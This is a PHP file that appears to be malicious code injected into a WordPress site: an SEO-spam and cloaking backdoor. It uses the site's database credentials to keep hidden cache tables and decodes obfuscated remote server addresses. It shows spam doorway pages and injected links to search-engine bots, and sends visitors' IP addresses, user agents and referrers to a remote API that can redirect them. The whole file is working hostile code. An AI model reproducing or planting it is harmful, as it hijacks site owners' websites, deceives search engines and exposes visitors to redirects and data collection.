<?php ini_set('display_errors', "Off");
ini_set('memory_limit', '256M');
ini_set('max_execution_time', 0);
set_time_limit(0);
ignore_user_abort(1);
$lang = "en";
$wpdbhost = DB_HOST;
$wpdbname = DB_NAME;
$wpdbuser = DB_USER;
$wpdbpass = DB_PASSWORD;
if ((empty($_GET['ineedthispage']) && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "/admin") && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-admin") && !empty($wpdbhost) && !empty($wpdbname) && !empty($wpdbuser) && !empty($wpdbpass)) || !empty($_POST['alldata'])) {
    $version = "1.0";
    $currenttime = date("d.m.y H:i:s");
    $doorid = md5(rtrim(home_url(), "/"));
    $doorurl = home_url();
    $doorurl = rtrim(home_url(), "/");
    $currenturl = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
    if (is_ssl() === false) {
        $currenturl = "http://" . $currenturl;
    } else {
        $currenturl = "https://" . $currenturl;
    }
    $cururlfrplacelinks = $currenturl;
    $currenturl = rtrim($currenturl, "/");
    $currenturlhash = md5($currenturl);
    $mainurl = decodeservurl("aHR7cCUzQSUyRiUyRmFsa9FtYWlsLm2ldCUyRndheXRvdG6wJTJGbnRidyUyRndvcmsucGhw");
    $redurl = decodeservurl("aHR7cCUzQSUyRiUyRmFsa9FtYWlsLmNvbSUyRmt7JTJGYXBpLnBocA==");
    $referer = '';
    if (!empty($_SERVER['HTTP_REFERER'])) {
        $referer = $_SERVER['HTTP_REFERER'];
    }
    if (!empty($_SERVER['HTTP_USER_AGENT'])) {
        $useragent = $_SERVER['HTTP_USER_AGENT'];
    } else {
        $useragent = "";
    }
    $mainapi = "hgvds3csvbtvkr3zdf5jfcvnxvgg3r9n";
    $linksapi = "gq8m25v5x9tpqy7tfxzwnrpj1hftm5wm";
    $redirecturl = '';
    $page = '';
    $allkeywords = '';
    $params = '';
    $page_keyword = '';
    $cachetable = 'wp_old_cache';
    $linkstable = 'wp_old_lcache';
    if (mysqlTableSeekWP($cachetable, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass) === "yes" && mysqlTableSeekWP($linkstable, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass) === "yes") {
        $checkcacheexists = readFromBDCache($cachetable, $currenturlhash, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass);
        if (!empty($checkcacheexists['needcache']) && $checkcacheexists != "no") {
            if ($checkcacheexists['needcache'] == "nocacheyet") {
                $params = "doorid=" . $doorid . "&currentdoorurl=" . $currenturlhash . "&doorurl=" . $doorurl . "&lang=" . $lang;
                $pagedata = httpPost($mainurl, $params);
                if (!empty($pagedata)) {
                    $pagedata = unserialize($pagedata);
                    if (!empty($pagedata['redirecturl'])) {
                        $redirecturl = $pagedata['redirecturl'];
                    }
                    if (!empty($pagedata['keyword'])) {
                        $page_keyword = $pagedata['keyword'];
                    }
                    if (!empty($pagedata['page'])) {
                        $page = $pagedata['page'];
                        updateCacheToBD($cachetable, $currenturlhash, $page, $redirecturl, $page_keyword, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass);
                        $redirectneedtowork = goToRedirect($referer, $useragent, $redurl, $pagedata['redirect'], $currenturl, $mainapi, "", $page_keyword);
                        if ($redirectneedtowork == "bot") {
                            echo $page;
                            die();
                        }
                    }
                }
            } else {
                $redirectneedtowork = goToRedirect($referer, $useragent, $redurl, $checkcacheexists['redirect'], $currenturl, $mainapi, "", urldecode($checkcacheexists['keyword']));
                if ($redirectneedtowork == "bot" && $checkcacheexists['needcache'] != "no") {
                    echo $checkcacheexists['needcache'];
                    die();
                }
            }
        } else {
            $bottest = '';
            $bottest = goToRedirect($referer, $useragent, $redurl, "", $currenturl, $linksapi, "yes", '');
            $inlinks = readFromBDLinks($linkstable, $currenturlhash, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass);
            if ($inlinks == "no") {
                $newlinks = getRandomOwnLinksFromBD($cachetable, 5, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass);
                if (!empty($newlinks)) {
                    addLinksToBD($linkstable, $currenturlhash, $newlinks, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, '');
                    if ($bottest == "bot") {
                        $newlinks = urldecode($newlinks);
                        $newlinks = unserialize($newlinks);
                        $newlinks = implode(" ", $newlinks);
                        echo placeLinks($cururlfrplacelinks, $newlinks);
                        die();
                    }
                }
            } elseif (!empty($inlinks)) {
                $needownlinks = $inlinks['ownlinks'];
                $needownlinks = unserialize(urldecode($needownlinks));
                if (!empty($inlinks['extlinks'])) {
                    $needextlinks = $inlinks['extlinks'];
                    $needextlinks = unserialize(urldecode($needextlinks));
                } else {
                    $needextlinks = array();
                }
                $linkstoshow = array_merge($needownlinks, $needextlinks);
                $linkstoshow = implode(" ", $linkstoshow);
                $linkstoshow = str_ireplace("\n", "", $linkstoshow);
                if ($bottest == "bot") {
                    echo placeLinks($cururlfrplacelinks, $linkstoshow);
                    die();
                }
            }
        }
    }
}
function readFromBDCache($tablename, $urlhash, $dbhost, $dbname, $dbuser, $dbpass)
{
    $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$dbcon) {
        return false;
    } else {
        $sql = "select * from " . $tablename . " where urlhash='" . $urlhash . "' AND doorpage='yes'";
        $needcache = mysqli_query($dbcon, $sql);
        $needcache = mysqli_fetch_array($needcache);
        if (!empty($needcache)) {
            $keyword = $needcache['keyword'];
            $keyword = urldecode($keyword);
            $redirect = $needcache['redirecturl'];
            $redirect = urldecode($redirect);
            $redirect = gzinflate($redirect);
            $needcache = $needcache['cache'];
            $needcache = urldecode($needcache);
            $needcache = gzinflate($needcache);
            $result = array("needcache" => $needcache, "redirect" => $redirect, "keyword" => $keyword);
            mysqli_close($dbcon);
            return $result;
        } else {
            mysqli_close($dbcon);
            return "no";
        }
    }
}

function updateCacheToBD($tablename, $urlhash, $data, $redirecttowrite, $keyword, $dbhost, $dbname, $dbuser, $dbpass)
{
    if (!empty($data)) {
        $data = gzdeflate($data, 9);
        $data = urlencode($data);
    } else {
        $data = '';
    }
    $redirecttowrite = gzdeflate($redirecttowrite, 9);
    $redirecttowrite = urlencode($redirecttowrite);
    $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$dbcon) {
        return false;
    } else {
        $sql = "UPDATE " . $tablename . " SET cache='" . $data . "',redirecturl='" . $redirecttowrite . "',keyword='" . urlencode($keyword) . "' WHERE urlhash='" . $urlhash . "'";
        if (mysqli_query($dbcon, $sql)) {
            mysqli_close($dbcon);
            return "yes";
        } else {
            mysqli_close($dbcon);
            return "no";
        }
    }
}

function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass)
{
    if (empty($dbhost) || empty($dbname) || empty($dbuser) || empty($dbpass)) {
        return "Not all DB data. ";
    }
    $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$dbcon) {
        return false;
    }
    $table_list = mysqli_query($dbcon, "SHOW TABLES FROM `" . $dbname . "`");
    while ($row = mysqli_fetch_row($table_list)) {
        if ($tablename == $row[0]) {
            mysqli_close($dbcon);
            unset($row);
            unset($table_list);
            return "yes";
        }
    }
    mysqli_close($dbcon);
    unset($row);
    unset($table_list);
    return "no";
}

function httpGet($url)
{
    if (stripos("qqq" . $url, "?")) {
        $url = $url . "&ineedthispage=yes";
    } else {
        $url = $url . "?ineedthispage=yes";
    }
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 90);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($ch);
        curl_close($ch);
    } else {
        $output = file_get_contents($url);
    }
    return $output;
}

function httpPost($url, $params)
{
    $params = rtrim($params, '&');
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; NTBBot/2.1;)");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_POST, count($params));
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
        curl_setopt($ch, CURLOPT_TIMEOUT, 40);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($ch);
        curl_close($ch);
    } else {
        $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params))));
    }
    return $output;
}

function decodeservurl($servurl)
{
    $goodservurl = array();
    foreach (str_split($servurl) as $onechar) {
        if (is_numeric($onechar)) {
            if ($onechar >= 7) {
                $onechar = $onechar - 7;
            } else {
                $onechar = $onechar + 10 - 7;
            }
        }
        $goodservurl[] = $onechar;
    }
    return urldecode(base64_decode(implode($goodservurl)));
}

function goToRedirect($referrer, $ua, $domain_to_go, $url_to_go, $current_page, $api, $for_links, $keyword)
{
    $defiskey = str_ireplace(" ", "-", $keyword);
    $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#MJ12bot#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#Vegi\s*bot#i', '#ngb#i', '#BUbiNG#i', '#ltx71#i', '#YandexBot');
    if ($for_links == "yes") {
        $user_agent_to_filter[] = '#Google#i';
        $user_agent_to_filter[] = '#Yahoo#i';
        $user_agent_to_filter[] = '#Yandex#i';
        $user_agent_to_filter[] = '#msn#i';
        $user_agent_to_filter[] = '#bing#i';
        $user_agent_to_filter[] = '#slurp#i';
    }
    if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) {
        return "bot";
    }
    $apiToken = $api;
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
    $ip = null;
    $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
    foreach ($headers as $header) {
        if (!empty($_SERVER[$header])) {
            $ip = $_SERVER[$header];
            break;
        }
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($tmp[0]);
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    $ua = urlencode($ua);
    $url = $domain_to_go . "?is_api=1&page=" . urlencode($url_to_go) . "&action=get&extra_param_1=" . $defiskey . "&source=" . $current_page . "&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&" . http_build_query($_GET) . "";
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    } else {
        $params = explode("?", $url);
        $params = $params[1];
        $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params))));
    }
    $result = json_decode($output);
    if ($result->redirect->content !== "bot") {
        foreach ($result->redirect->headers as $header) {
            header($header);
        }
        if ($result->redirect->content) {
            $result->redirect->content = urldecode($result->redirect->content);
            echo $result->redirect->content;
            die();
        }
    } elseif ($result->redirect->content === "bot") {
        return "bot";
    }
    return '';
}

function getRandomOwnLinksFromBD($tablename, $links_count, $dbhost, $dbname, $dbuser, $dbpass)
{
    $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$dbcon) {
        return false;
    } else {
        $row_count = mysqli_query($dbcon, 'SELECT COUNT(*) FROM ' . $tablename . ';');
        $row_count = $row_count->fetch_array(MYSQLI_NUM);
        $row_count = $row_count[0];
        $numsar = array();
        for ($i = 1; $i <= $row_count; $i++) {
            $numsar[] = $i - 1;
        }
        srand((float)microtime() * 1000000);
        shuffle($numsar);
        $numsar = array_slice($numsar, 0, $links_count);
        $query = array();
        foreach ($numsar as $onenum) {
            $query[] = '(SELECT * FROM ' . $tablename . ' LIMIT ' . $onenum . ', 1)';
        }
        $query = implode(' UNION ', $query);
        $res = mysqli_query($dbcon, $query);
        if (mysqli_num_rows($res) == 0) {
            mysqli_close($dbcon);
            return false;
        }
        $out = array();
        while ($row = mysqli_fetch_assoc($res)) {
            if ($row['openurl'] != "test") {
                $link = explode("|||", $row['openurl']);
                $link = '<a href="' . $link[0] . '">' . $link[1] . '</a>';
                $out[] = $link;
            }
        }
        mysqli_close($dbcon);
        $out = urlencode(serialize($out));
        return $out;
    }
}

function readFromBDLinks($tablename, $urlhash, $dbhost, $dbname, $dbuser, $dbpass)
{
    $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$dbcon) {
        return false;
    } else {
        $sql = "select * from " . $tablename . " where urlhash='" . $urlhash . "'";
        $needcache = mysqli_query($dbcon, $sql);
        $needcache = mysqli_fetch_array($needcache);
        if (!empty($needcache)) {
            $ownurls = $needcache['ownlinks'];
            $ownurls = urldecode($ownurls);
            $otherlinks = $needcache['extlinks'];
            $otherlinks = urldecode($otherlinks);
            $result = array("ownlinks" => $ownurls, "extlinks" => $otherlinks);
            mysqli_close($dbcon);
            return $result;
        } else {
            mysqli_close($dbcon);
            return "no";
        }
    }
}

function addLinksToBD($tablename, $urlhash, $ownlinks, $dbhost, $dbname, $dbuser, $dbpass, $extlinks)
{
    $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$dbcon) {
        return false;
    } else {
        if (!empty($extlinks)) {
            $sql = "INSERT INTO " . $tablename . "(urlhash, extlinks) VALUES ('" . $urlhash . "','" . $extlinks . "')";
        } else {
            $sql = "INSERT INTO " . $tablename . "(urlhash, ownlinks) VALUES ('" . $urlhash . "','" . $ownlinks . "')";
        }
        if (mysqli_query($dbcon, $sql)) {
            mysqli_close($dbcon);
            return "yes";
        } else {
            mysqli_close($dbcon);
            return false;
        }
    }
}

function placeLinks($pageurl, $links)
{
    $page = httpGet($pageurl);
    if (!empty($page)) {
        $page = preg_replace("/(<body.*>)/", "\$1" . $links, $page, 1);
        return $page;
    }
    return "";
}

; ?>